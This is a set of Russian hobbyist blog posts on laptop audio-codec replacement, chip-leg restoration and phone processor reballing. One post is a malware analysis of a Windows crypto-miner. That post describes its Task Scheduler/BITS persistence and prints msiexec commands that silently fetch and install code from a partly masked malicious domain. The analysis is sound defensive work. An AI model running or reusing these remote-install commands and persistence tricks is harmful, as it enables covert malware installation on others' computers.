Моно-выход. По даташиту написано, что на нём выходит сигнал линейного уровня, представляющий собой сумму сигналов L+R. Что ж, моно - лучше чем ничего, по крайней мере имеется отдельный выход на эту линию. В основном я подключал ноут к моно колонке, поэтому хоть какой-то проводной выход из него мне был просто необходим. Изначально в ALC268 было два линейных выхода, переключались которые при помощи детекции:

Замена Realtek ALC268 на ALC269. Исчерпывающее руководство по ремонту 2x2 ноутбучных кодеков Realtek. Ремонт техники, Realtek, Ремонт звуковой карты, Очумелые ручки, Маразм, Длиннопост

При замыкании Sense A (13 ноги) через резистор в 39,2К на землю (замыкатель стоит в гнезде для разъема) один выход отключался, а второй включался. Здесь всё было точно так же, за одним исключением - один из выходов на моей мк был в отвале и про него можно было забыть. Я измерил уровень выхода на MONO - и сигнал был! Именно линейного уровня, рассчитанный относительно GND (не хотелось ради этой цели бросать минусы моста на землю, т.к. это бы привело к неизвестным последствиям). Я кинул несколько перемычек и перенёс замыкатель с разъема на линию B через резистор в 10К (как показано на картинке) в надежде, что это даст мне возможность выводить отдельно два выхода с ЦАПа. Но увы, мне вновь не повезло. Опытным путём я выяснил следующее: когда играет динамик, играет и MONO OUT. Если задетектировать вход нашников - пропадает звук и там и там. Если задетектировать MONO - то ничего не происходит. В результате оказалось, что звук играет и в наушники, и в динамики. Такой расклад меня тоже не устраивал. Думая, как же всё-таки вывести звук, я вспомнил про тот самый 4 вывод PD# внизу микросхемы.

Замена Realtek ALC268 на ALC269. Исчерпывающее руководство по ремонту 2x2 ноутбучных кодеков Realtek. Ремонт техники, Realtek, Ремонт звуковой карты, Очумелые ручки, Маразм, Длиннопост

Суть его такова: изначально на нём имеется логическая единица (3.3В). При посадке его на землю питание на внутренний усилитель (на котором у нас уже висят динамики) выключается. Но при этом ЦАП продолжает работать! То, что нужно. Изначально на ALC268 на этом выводе была земля. Я отрезал её и снял перемычку с этого пина на пин-детектор разъема.

Замена Realtek ALC268 на ALC269. Исчерпывающее руководство по ремонту 2x2 ноутбучных кодеков Realtek. Ремонт техники, Realtek, Ремонт звуковой карты, Очумелые ручки, Маразм, Длиннопост

Заработало! Чтобы снизить нагрузку на выход MONO я вновь задействовал изначально обрезанный оригинальный усилитель (AN12947) с другой стороны платы. Этот выход я подключил на оба его входа, таким образом получил на обоих каналах наушников приемлемый уровень сигнала, и снизил риск выгорания этого выхода. Но мне нужен был ещё и вход. Казалось бы, проще простого, ведь оригинальные выводы не изменились. Но не тут то было №3.
Часть 3.2 разбираемся со входом. Моей задачей стояло сделать стерео вход для микрофона. Но мне опять повезло - правый канал микрофона отказывался выдавать сигнал. Видимо, опять или недобитая микросхема, или отвал. Если бы мне нужен был только моно вход (для скайпа, игр и т.п.) - можно было бы ничего не трогать. Но для возможности более качественной записи звука мне непременно требовались оба канала.

Замена Realtek ALC268 на ALC269. Исчерпывающее руководство по ремонту 2x2 ноутбучных кодеков Realtek. Ремонт техники, Realtek, Ремонт звуковой карты, Очумелые ручки, Маразм, Длиннопост

Я спаял всю обвязку и потыкал скальпелем напрямую в ножки микросхемы. На левом канале шум был, но правый молчал, как партизан. Я попытался переключить канал на MIC2. Для этого Sense A (13) обрезал, и вывод RJ7 кинул на Sense B (18). Резистор был одинаковый - 20 кОм.  В устройствах стал определяться другой разъем - FrontMic (до этого был "Микрофон").

Потыкав скальпелем теперь уже в выводы MIC2 L + R я получил тот же результат. Левый канал - гудит. Правый - по-прежнему партизанит. Совсем отчаявшись, я вернулся к даташиту:

Замена Realtek ALC268 на ALC269. Исчерпывающее руководство по ремонту 2x2 ноутбучных кодеков Realtek. Ремонт техники, Realtek, Ремонт звуковой карты, Очумелые ручки, Маразм, Длиннопост

Там было сказано, что микросхема железно должна обеспечивать два независимых стерео входа. Значит, если один АЦП в отвале, второй должен работать. Вход у меня на панели всего один, так что для меня это не существенно, меня бы устроил любой рабочий вариант. Я вновь вернулся на линию Sense A и поставил резистор в 10к (напаял сверху на 20к такой же с моего донора). Аллилуйя! Появился звук с обоих каналов входа (прощупывался сразу на 14 и 15 ногах). Я перекинул выводы конденсаторов с разъема на эти входы и получил рабочий стерео разъем (теперь уже линейный вход, а не микрофонный).
3.3 По поводу MIC-VREF и фантомного питания микрофонов. Если ваш микрофон - электретный аналоговый капсюль (как на гарнитурах), то он нуждается в отдельном питании. Обычно на них подаётся около 2,8В через резистор от любого плюса (чаще всего от +5В). Без фантомного питания звука в них не будет. Изначально в ALC268 за них отвечают выводы MIC-VREFO:

Замена Realtek ALC268 на ALC269. Исчерпывающее руководство по ремонту 2x2 ноутбучных кодеков Realtek. Ремонт техники, Realtek, Ремонт звуковой карты, Очумелые ручки, Маразм, Длиннопост

В ALC269 также это осталось. Зачем? Это одна из фич микросхемы - при помощи программы или автоматически можно задать напряжение на этих выходах (2,8-4,2В), что должно обеспечить более качественное питание микрофонов. Однако, на донорской плате ALC269 я обнаружил, что эти выводы посажены на землю через конденсаторы в 1мкФ, а питание подается отдельно от плюса через резисторы. Зачем это сделано?
Дело в том, что это и есть возможная причина выхода из строя моей ALC268 при подключении микрофона. Получается, что при использовании этих выводов микросхема перестаёт быть развязана по постоянному напряжению на входах АЦП, а значит, понижается устойчивость к статике. Попытаюсь примерно показать на схеме:

Замена Realtek ALC268 на ALC269. Исчерпывающее руководство по ремонту 2x2 ноутбучных кодеков Realtek. Ремонт техники, Realtek, Ремонт звуковой карты, Очумелые ручки, Маразм, Длиннопост

Как известно, через конденсатор постоянное напряжение не попадёт на вход микросхемы, т.к. он является своего рода изолятором. Однако, через питающий резистор оно вполне может туда попасть и там разрядиться в логику. Поэтому схема была изменена (показана справа). Если заряд куда-то и попадёт, то он пойдёт не в логику кодека, а на линию питания, что вызовет перегорание либо питающих конвертеров, либо (чаще всего) срабатывание защиты или в редких случаях повреждение других микросхем. При этом работоспособность схемы сохраняется. Конечное фото рабочего варианта микросхемы со всей обвязкой, до закрепления маской.

Замена Realtek ALC268 на ALC269. Исчерпывающее руководство по ремонту 2x2 ноутбучных кодеков Realtek. Ремонт техники, Realtek, Ремонт звуковой карты, Очумелые ручки, Маразм, Длиннопост
Замена Realtek ALC268 на ALC269. Исчерпывающее руководство по ремонту 2x2 ноутбучных кодеков Realtek. Ремонт техники, Realtek, Ремонт звуковой карты, Очумелые ручки, Маразм, Длиннопост

Всем спасибо! Лимит блоков исчерпан, а то я бы добавил ещё фоток. На фото - моё паяльное жало после всех манипуляций, проведённых с этой микросхемой. Итог: работает стерео вход, стерео выход на динамики, раздельный моно выход на наушники. Так как оно уже было более статически развязано, да и сам кодек поновее, то при повторном подключении того же микрофона (слабоумие и отвага) звук с него появился и выгорания не произошло. Результатом я удовлетворён с точки зрения эксперимента. Но мой вам совет - лучше таким не занимайтесь. Я занялся, т.к. было немного свободного времени. А если нужен быстрый и качественный результат - купите донорскую плату за копейки или попросите в мастерской сдуть вам кодек нужной модели, т.к. в этом случае из простой переделки это превратилось в целую эпопею, которая заняла у меня 4 суток работы. Всем удачных ремонтов, с вами был Kekovsky, специально и персонально для пользователей пикабу.

Показать полностью 24
333

"Приделываем ноги" микросхеме или восстановление QFN-48 до QFP-48

Привет всем ремонтёрам, хочу поделиться своим способом доработки микросхем, в том случае когда для посадки на плату необходимы ножки, а их нет. Не претендую на оригинальность этого способа, может он был уже на пикабу, может где-то ещё (либо мой мозг выдал баян за оригинальный контент). В общем, это вариант восстановления корпуса QFN (поверхностный монтаж "на пузо" или по трафарету) до QFP (с ножками). Я делал на микросхеме с 48 ногами (по 12 с каждой стороны). Может быть сработает и с другими размерами, но потребует большей сноровки. Итак, есть микросхема, непосредственно сдутая феном с платы:

"Приделываем ноги" микросхеме или восстановление QFN-48 до QFP-48 Ремонт техники, Микросхема, Пайка, Очумелые ручки, Длиннопост, Колхоз

Нужно сделать из неё вот такую:

"Приделываем ноги" микросхеме или восстановление QFN-48 до QFP-48 Ремонт техники, Микросхема, Пайка, Очумелые ручки, Длиннопост, Колхоз

Для того, чтобы приделать ножки, нужно эти самые ножки откуда-то взять. Нужно порыться в хламе и выкопать плату, на которой есть ненужные микросхемы в таком же корпусе ([T]QFP-48), или точно с таким же шагом (промежуточным расстоянием) у ножек. Можно брать микросхемы на большее количество контактов (микросхема идёт на разбор и восстановлению не подлежит). Например, я сдул вот такую микросхему с какого-то старого модема (если не ошибаюсь оперативка на 32Кб - такую не берите, я взял для примера):

"Приделываем ноги" микросхеме или восстановление QFN-48 до QFP-48 Ремонт техники, Микросхема, Пайка, Очумелые ручки, Длиннопост, Колхоз

Теперь нужно очистить ножки от припоя (я использую более дорогую оплётку, т.к. она уже проканифолена. Если используете более дешевые, канифолить их нужно самостоятельно и после пайки остаётся много грязи, которую нужно смывать):

"Приделываем ноги" микросхеме или восстановление QFN-48 до QFP-48 Ремонт техники, Микросхема, Пайка, Очумелые ручки, Длиннопост, Колхоз

Теперь берём несколько надфилей (лучше всего брать прямоугольные и треугольные). Большой и средней грубости. И стачиваем шлиф со стороны дорожек как показано на фото. Я для этого приклеил микросхему к платформе и затем шлифовал. Сначала нужно снять  примерно 1/2 толщины при помощи грубого надфиля, а когда появились уголки, то доточить более тонким, чтобы не повредить дорожки):

"Приделываем ноги" микросхеме или восстановление QFN-48 до QFP-48 Ремонт техники, Микросхема, Пайка, Очумелые ручки, Длиннопост, Колхоз

Теперь нужно аккуратно снять, помыть микросхему спиртом от пыли и приложить к микросхеме-пациенту нижней (паяной) стороной дорожек к низу корпуса (в общем низом к низу). Таким образом нижняя сторона ножек становится верхней, а внутренняя - наружной). К тому же, это облегчает пайку к микросхеме, так как ножки на паяной стороне уже залуженные свежим припоем:

"Приделываем ноги" микросхеме или восстановление QFN-48 до QFP-48 Ремонт техники, Микросхема, Пайка, Очумелые ручки, Длиннопост, Колхоз

Как можно заметить на этом фото, шаг контактов у микросхем не совпал, поэтому позже я взял другие микросхемы. К тому же, оказалось, что у этой памяти стальные ножки (микросхема случайно прилипла к магниту, лежащему на столе), а это значит, что их в целом будет гораздо труднее паять и они будут хуже держаться. Также здесь нам мешают "пятачки" на ножках, поэтому такая микросхема не годится. Я повторил все те же процедуры, но спаял уже микросхему в QFP-48 для надежности. Теперь паяем их, сопоставив ножки по шагу (интервалу). Запаиваем как на плате: сначала крайние ножки, потом пропаиваем остальные. Для соблюдения расстояния пайки под микросхему-донор нужно положить корпус от другой микросхемы (видно слева) подходящей толщины, и затем паять. При пайке будьте осторожны, не угрейте микросхему (позже как нибудь я расскажу, к чему это приводит). Но и паяйте качественно - если какой-то из выводов отвалится, восстановить можно будет, скорее всего, только перемычкой, что испортит всю красоту. Если крайние выводы повело (как у меня на фото) - это связано с тем, что их больше всего задевает надфиль при пайке, запаяйте их, но не меняйте положения и не сгибайте (пусть остаются так, как есть, ведь высокий шанс просто их отломать). Флюса берём среднее количество, при малом будет непропай/холодная пайка, при большом будет плохо видно то, что вы паяете.

"Приделываем ноги" микросхеме или восстановление QFN-48 до QFP-48 Ремонт техники, Микросхема, Пайка, Очумелые ручки, Длиннопост, Колхоз

После этого всю линейку выводов нужно отрезать (желательно ровно) скальпелем, либо аккуратно выломать с донора вместе с пятакми и откусить ровно качественными кусачками):

"Приделываем ноги" микросхеме или восстановление QFN-48 до QFP-48 Ремонт техники, Микросхема, Пайка, Очумелые ручки, Длиннопост, Колхоз

При разделении следите, чтобы все выводы хорошо отделились, а шлиф (проточенный канал) не был слишком глубок, и выводы не потянули за собой кусочки эпоксидки с корпуса. Убрать их с оторванных ножек будет очень трудно, скорее всего, линейка бракуется. Готовый ряд (слева донор):

"Приделываем ноги" микросхеме или восстановление QFN-48 до QFP-48 Ремонт техники, Микросхема, Пайка, Очумелые ручки, Длиннопост, Колхоз

Второй ряд. Если ножки выломались (отделились) так, как на фото, ничего страшного - так даже лучше. Нужно взять точные кусачки (с минимальным зазором, не убитые), и ровно откусить ими ряд ножек до необходимой длины.

"Приделываем ноги" микросхеме или восстановление QFN-48 до QFP-48 Ремонт техники, Микросхема, Пайка, Очумелые ручки, Длиннопост, Колхоз

Готовая микросхема (донор слева) или иллюстрация "отец и сын":

"Приделываем ноги" микросхеме или восстановление QFN-48 до QFP-48 Ремонт техники, Микросхема, Пайка, Очумелые ручки, Длиннопост, Колхоз

Вид сверху (почти не отличить):

"Приделываем ноги" микросхеме или восстановление QFN-48 до QFP-48 Ремонт техники, Микросхема, Пайка, Очумелые ручки, Длиннопост, Колхоз

Но это ещё не всё! Немаловажный момент. Так как ножки выполнены из меди, то при пайке наружной стороны будет практически моментально плавиться припой и на внутренней, что приведёт к непропаю или отвалу. Для того, чтобы зафиксировать места пайки, внутренний и наружный швы нужно промазать паяльной маской с УФ отверждением и закрепить. Перед этим обезжирьте микросхему (промойте в спирту от флюса):

"Приделываем ноги" микросхеме или восстановление QFN-48 до QFP-48 Ремонт техники, Микросхема, Пайка, Очумелые ручки, Длиннопост, Колхоз

Лучше мазать несколькими тонкими слоями и постепенно отверждать, т.к. лучи при отвердении поверхностных слоёв перестают проникать вовнутрь, маска покрывается коркой, а нижняя сторона остаётся жидкой (и растворимой). Если микросхема плохо обезжирена, маска держаться не будет (нижние слои смешаются с флюсом и не будет адгезии). Проверить можно, потыкав, поцарапав или чуть поковыряв ножиком затвердевшую маску в стороне от ножек. Паять на плату нужно быстро, ловко, нагревая короткими движениями с разных сторон. Ни в коем случае не давить на ножки и не сдвигать их. Микросхема на плате:

"Приделываем ноги" микросхеме или восстановление QFN-48 до QFP-48 Ремонт техники, Микросхема, Пайка, Очумелые ручки, Длиннопост, Колхоз

Что это за ремонт, может быть, напишу отдельным постом, но как показала практика, непропая ножек не было - на всех ножках был контакт. Случайно спаял самую крайнюю ножку - позднее восстановил перемычкой. Если 1-2 ножки окажутся дефектными, восстановить также можно перемычкой. А вот перегрев микросхемы может свести все старания на нет.
Бонус: фото кристалла с какой-то из сошлифованных донорских микросхем (я тренировался):

"Приделываем ноги" микросхеме или восстановление QFN-48 до QFP-48 Ремонт техники, Микросхема, Пайка, Очумелые ручки, Длиннопост, Колхоз

Всем удачных ремонтов! С вами был Kekovsky специально для pikabu.

Показать полностью 13
6311

Криптоджекинг. Разбор случайного вируса-майнера под Windows.

Как-то раз на неделе обратился ко мне коллега из офиса, говорит, что его домашний компьютер вдруг начинает жутко лагать, самопроизвольно перезагружается, и т.п.
Я взялся посмотреть, что же это было.
Первым делом была проверена автозагрузка процессов и служб, как обычно делает большинство "мастеров", думая, что они при отключении там чего-либо полностью излечили компьютер от вирусов. Может быть раньше, со всякими WinLocker'ами или рекламными баннерами этот трюк и прокатывал, но времена меняются, и теперь технологии другие. В винде любых версий есть старые дыры, но вполне функциональные. Итак, первое, что видно при включении ЭВМ - открывается вот такое вот окошко (скрин не было сделать возможности с него, звиняйте, скрины пойдут дальше):

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

В автозагрузке, повторюсь всё в порядке:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

После того, как компьютер был штатно заштопан двумя разными антивирусами, возникла идея исследовать этот файл, который система начала загружать. Но не всё оказалось так просто.
Итак, дальше расписано по шагам, каким образом работает этот вирус, и к какому конечному результату это приводит.

Шаг 0. Попадание первичного файла в систему.
Для того, чтобы в системе MS Windows инициировался какой-либо процесс, что-то должно его запускать. В первых версиях вирусов - ярлык вируса просто кидался в папку автозагрузки программ, в Windows 7 она находится по адресу:
%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Потом вирусы стали добавляться в ветви реестра [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] и то же самое в разделе HKEY_LOCAL_MACHINE, откуда удалить их было уже не так просто. Но оказалось, что в автозагрузку эти файлы можно и не добавлять, чтобы не провоцировать простенькие антивирусы. В системе существует "Планировщик заданий" (mmc.exe), куда прекрасно можно добавить задачу автозапуска какой-либо программы, и даже целую исполняемую часть командной строки (сценарий):

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

В таком случае на действия начинают реагировать лишь единицы антивирусов, никакие а**сты, макаффи и т.п. фри версии антивирей туда по большей части даже не суются.
Итак, я попытался зайти на тот адрес из окна (http://f******r.com/) в веб-браузере. Но, попробовав ввести тот адрес, да и вообще, какой бы адрес я не открывал, я получал заглушку на nginx:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Дальше я стал копать и выяснил, что бирюзовое окно - это рабочее окно системы BITS (Background Intelligent Transfer Service). Изначально он предназначен для быстрой передачи данных по специальному протоколу через команды приложений. Как оказалось, именно этот протокол (с 2016 года, по версии xakep.ru) стал часть использоваться для загрузки вирусов. Поэтому я подключился через этот протокол, используя команды PowerShell по оригинальному адресу:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

И, вуаля, я получил какой-то файл, весом гораздо больше пустой веб-страницы:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Видимо, на сервере специальным образом настроены порты, чтобы при обращении именно от BITS был отправлен экземпляр этого файла. При этом, как выяснилось, неважно, какое название у архива - всегда будет получен тот же файл. Давайте исследуем его.
Шаг 1: Первичный файл загружен. Что это?
Я открыл файл в Hex-редакторе, чтобы распознать тип. Начинается он с MZP, значит файл исполняемый. В файле была обнаружена сигнатура Inno Setup, стало ясно, что это - файл инсталлятора чего-либо:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Шаг 2. Вместо установки этого файла я воспользовался утилитой Inno Unpacker, которая дала мне следующие файлы, содержащиеся внутри проекта:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Собственно, как оказалось, программа никаких файлов в себе не содержала - только скрипт install_script с описанием установщика, а так же скомпилированный фрагмент кода, выполненного на паскале. Вот файл скрипта:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Обратите внимание на параметры [Setup], а именно название программы, и выходное имя файла OutputBasenameFile (оно совпадает кое с чем на первой картинке).
Шаг 3. Также неизвестным оставался код программы CompiledCode.bin. Для того, чтобы расшифровать его, я воспользовался декомпилятором паскаль-фрагмента кода:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Шаг 4. Стало ясно, что данные внутри кода немного зашифрованы (обфусцированы) от посторонних глаз. Немного видоизменив код, я интерпретировал его на FreePascal'е, и получил следующий результат:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология
Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Собственно, здесь можно видеть копии команд, выполняемых в Windows через cmd shell. Здесь указана команда на мгновенную перезагрузку (скорее всего, отключает антивирус: во время выключения все программы закрываются, но сам код успевает исполнится, таким образом простые антивирусы не обнаружат загрузки кода). Зачем предназначена 5 строка (пингует локалхост), я точно не знаю - скорее всего это какие-то внутренние операции для работы вируса. Программа также передаёт на сервер данные о системе, её разрядности, производительности и т.п. отдельным потоком, это можно видеть в коде, но эту часть я вырезал из-за сложности интерпретации.
Подробно нас интересует четвертая строчка: что такое msiexec?
Шаг 5. Загрузка главного инсталлятора. Распаковка.
Для тех, кто слышит об этом в первый раз - да, не удивляйтесь. Вбив в командную строку такую команду: msiexec.exe /q /i (веб-адрес), начнется немедленная, скрытая и невидимая установка исполняемого кода с удаленного адреса в систему, если инсталлятор и скрипт собран в формате msi. Файл может даже не иметь сертификата подписи. В файле могут исполняться любые команды по созданию, перемещению, переименованию файлов внутри системы, добавления их в реестр и запуск. Зачем это было добавлено? Именно через эту подпрограмму система загружает обновления. Ничего не мешает закинуть туда свои скрипты и файлы.
Ситуация такая же, как и с первым файлом - если открыть этот сайт по http, он выдаёт заглушку массой в 233 байта. Если же обратиться по любому адресу через msiexec, то сервер посылает очередной архив, весом в 2,9 Мб. Скорее всего, это вызвано определенным использование портов и специальных команд системы. Но сайт в этот раз уже другой. Это может быть одно из сотен зеркал, все настроены одинаково - обратившись по новому домену через оригинальный BITS я получил файл, весом в 328 Кб, т.е. файл с паскалем. И наоборот.
Давайте посмотрим, что внутри инсталлятора, для этого распакуем его при помощи 7-zip как обычный архив:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Внутри инсталлятора (MSICEE2.msi) оказались два файла: unzip.exe и vcruntime140.lib.zip. Во втором архиве ещё два файла, но он запаролен. Для начала я исследовал файл unzip.exe:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Оказалось, что этот файл является неизмененной копией утилиты для систем Windows 2005 года, которая называется "Info-Zip UnZip", и являющейся простым распаковщиком zip-файлов. Вот, что будет, если её запустить:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Несмотря на древность, применение этой утилиты здесь оправдано, далее расскажу, почему именно. Итак, осмотрев файлы мы зашли в тупик - что делать? Программа изучена, а второй архив запаролен. Но при помощи архиватора 7-zip мы не смогли извлечь установочный скрипт из MSI-файла. Пришлось запустить этот инсталлятор на виртуальной машине с логгированием: такой командой: msiexec.exe /i http://revir.i********s.info/yskwozrivwuwc.txt /L*V log.txt
После чего из машины был вытащен лог установки, размером в 140кб. Пройдусь по его ключевым моментам:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Шаг 6. В одной из строчек виден пароль от архива: IBM644. Но обычный архиватор этот пароль не принимает - распаковываются файлы только оригинальным UnZip'ом при помощи этой команды.
Все файлы внутри архива - исполняемые библиотеки для системы типа dll или lib. Написаны они на C, декомпилировать их я смысла не видел. Возможно, именно в них содержится блок, занимающийся копированием вируса в системе, но так глубоко я их не копал. В песочнице после их регистрации в системе (папка TEMP) появился следующий файл: [612A9A]. Смотрим, что у него внутри:

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Этот файл представляет собой json - конфиг, в котором видно ключевое слово CryptoNight и URL, логин и пароль от майнинг-сервера. Данный майнер майнит монету "Monero". Данный файл подозрительно совпадает с конфиг-файлом для Windows-версии майнера "****Rig":

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Скормив этот конфиг исполняемому файлу майнера (оконной версии), загруженному из интернета, действительно компьютер получил настоящую "работу", и видео при этом стало жутко лагать. В оригинальном конфиге прописано также исполнение без gui (фоновым процессом - никаких окон).

Криптоджекинг. Разбор случайного вируса-майнера под Windows. Windows, Вирус, Майнеры, Защита информации, Криптодженкинг, Криптовалюта, Уязвимость, Длиннопост, Вирусология

Собственно, это и есть конечный результат. Помайнил 10 секунд для него, чтобы сделать вам скрин, надеюсь, что вырученных за это время денег автору хватит как минимум на два билета до Канарских островов. Итого имеем сложный файл, прописывающий себя в нескольких местах системы, работающий на языках Pascal и C++, в итоге приводящий к запланированному запуску майнера. Берегите свои компьютеры. С вами был Kekovsky, специально для pikabu.

Показать полностью 17
86

Ремонт Sony Xperia C4 E5333. Тест штатива "YAXUN YX-TD".

Всем ремонтерам привет! Хотел сделать отдельно обзор на штатив, но тут как раз подвернулся ремонт, поэтому объединил "2 в 1". Итак, принесли в ремонт вышеобозначенный телефон - говорят нет признаков жизни, не включается. При этом телефон был после другого сервиса, после которого он проработал буквально один день, а потом отключился, и стал включаться лишь изредка, на 5-7 минут. Телефон до этого был ударен.
Первым делом проверил реакцию на USB.

Ремонт Sony Xperia C4 E5333. Тест штатива "YAXUN YX-TD". Sony, Sony xperia c4, Ремонт техники, Ремонт телефона, Реболлинг, Отвал, Длиннопост

Реакции не последовало, при этом определенные сигналы по линии USB проходят (определил их по наводкам на наушники). Но старта нет, процессор не греется. Горит красный индикатор зарядки. По симптомам подумал на память, но т.к. мне сказали, что телефон периодически включался, значит подозрение пало на отвал процессора. Тут стоит процессор MTK MT6752.
Было решено для начала его прогреть - остальные детали (память и кп) обмотал фольгой от перегрева. После прогрева телефон ожил:

Ремонт Sony Xperia C4 E5333. Тест штатива "YAXUN YX-TD". Sony, Sony xperia c4, Ремонт техники, Ремонт телефона, Реболлинг, Отвал, Длиннопост

Однако, было решено на прогреве не останавливаться, т.к. скорее всего через пару часов всё вернулось бы в исходное состояние. Кстати, клиенту отказались повторно чинить этот телефон в сервисе (в 3-х сервисах), и порекомендовали лишь своими силами заказать плату с али за 3500 руб. Что по его меркам было достаточно много, учитывая, что он и так заплатил в сервис 2500 руб за предыдущий ремонт, после которого тел и проработал один день. Впредыдущем сервисе вполне могли устроить такой же прогрев, "нагрев" при этом не только плату, но и клиента. Но мы не знаем,  поэтому пока без обвинений. Так как тут, скорее всего, для железного ремонта нужно или заказывать новую плату (3500р), или процессор (1500р). Было решено для начала просто его перекатать. Вот тут я воспользовался штативом Yaxun YX-TD, купленным с алика. Вот как он выглядит (фотка оттуда же):

Ремонт Sony Xperia C4 E5333. Тест штатива "YAXUN YX-TD". Sony, Sony xperia c4, Ремонт техники, Ремонт телефона, Реболлинг, Отвал, Длиннопост

В комплекте к нему идет (по 1 шт): стальная пластина (окрашена в серый цвет, но очень быстро обдирается до металла), полый алюминиевый стержень с заглушками по бокам для крепления, штампованная алюминиевая деталь для удержания фена и алюминиевое колечко. Вдовесок кинули пару жестяных пинцетов низкого качества и провод для перемычек, а также низкого качества алюминиевые уголки на магнитах для удержания плат. Вот, как выглядел комплект:

Ремонт Sony Xperia C4 E5333. Тест штатива "YAXUN YX-TD". Sony, Sony xperia c4, Ремонт техники, Ремонт телефона, Реболлинг, Отвал, Длиннопост

Я для пайки вместо тех алюминиевых уголков использовал отдельно китайский монтажный столик Baku (или Yaxun, они такие же) за 200р. Т.к. алюминиевые уголки имеют риск разойтись в стороны во время работы. Итак, после разборки телефона, приступаем к снятию проца. Штативом пока не пользуюсь, проц лучше снимать просто держа фен рукой и прогревая плату спиралевидными движениями, чтобы не угреть середину микросхемы раньше времени:

Ремонт Sony Xperia C4 E5333. Тест штатива "YAXUN YX-TD". Sony, Sony xperia c4, Ремонт техники, Ремонт телефона, Реболлинг, Отвал, Длиннопост
Ремонт Sony Xperia C4 E5333. Тест штатива "YAXUN YX-TD". Sony, Sony xperia c4, Ремонт техники, Ремонт телефона, Реболлинг, Отвал, Длиннопост

Кстати, на фотке сверху справа виден изогнутый угол платы, и отпавший светодиод, что свидетельствует об перенесенном сильном ударе (хозяин жаловался, что вспышка не работает).
Теперь настал этап очистки платы. Тут в помощь и вступает наш штатив. Используя паяльную станцию Lukey 852D+, закрепив в держателе фен, организовываю "верхний" подогрев, который должен немного подогреть плату для того, чтобы не вырвать пятаки и не вызвать термоудар паяльником. Таким образом он заменит нам нижний подогрев ИК-станции. Температуру фена выставил на 140 градусов. Вот, как это выглядело:

Ремонт Sony Xperia C4 E5333. Тест штатива "YAXUN YX-TD". Sony, Sony xperia c4, Ремонт техники, Ремонт телефона, Реболлинг, Отвал, Длиннопост

Отдать должное этому текстолиту, в процессе очистки ни один пятак не отлетел, как бывает на китайских дешевых мобилках. Но очистить его было трудновато - то и дело появлялись спайки или лишний припой на контактах. А из-за высокой теплоемкости платы паяльник просто размазывал снятый припой по поверхности (чистил оплёткой). Решилось это заменой оплетки и добавлением ещё флюса, а также +10 градусов и воздуха на фене. Добившись максимально пригодного результата, таким же образом очистил и процессор (на фото не оконечный вариант, потом прошелся ещё раз паяльником):

Ремонт Sony Xperia C4 E5333. Тест штатива "YAXUN YX-TD". Sony, Sony xperia c4, Ремонт техники, Ремонт телефона, Реболлинг, Отвал, Длиннопост

Теперь настала очередь накатать шары, трафарет на MT6752 продается на али, и стоит 300 руб. В наличии у меня его не было. Но вместо него прекрасно подошел трафарет от MT6592.

Ремонт Sony Xperia C4 E5333. Тест штатива "YAXUN YX-TD". Sony, Sony xperia c4, Ремонт техники, Ремонт телефона, Реболлинг, Отвал, Длиннопост

Закрепил микросхему термоскотчем (широкий кончился, куплю его позже)

Ремонт Sony Xperia C4 E5333. Тест штатива "YAXUN YX-TD". Sony, Sony xperia c4, Ремонт техники, Ремонт телефона, Реболлинг, Отвал, Длиннопост

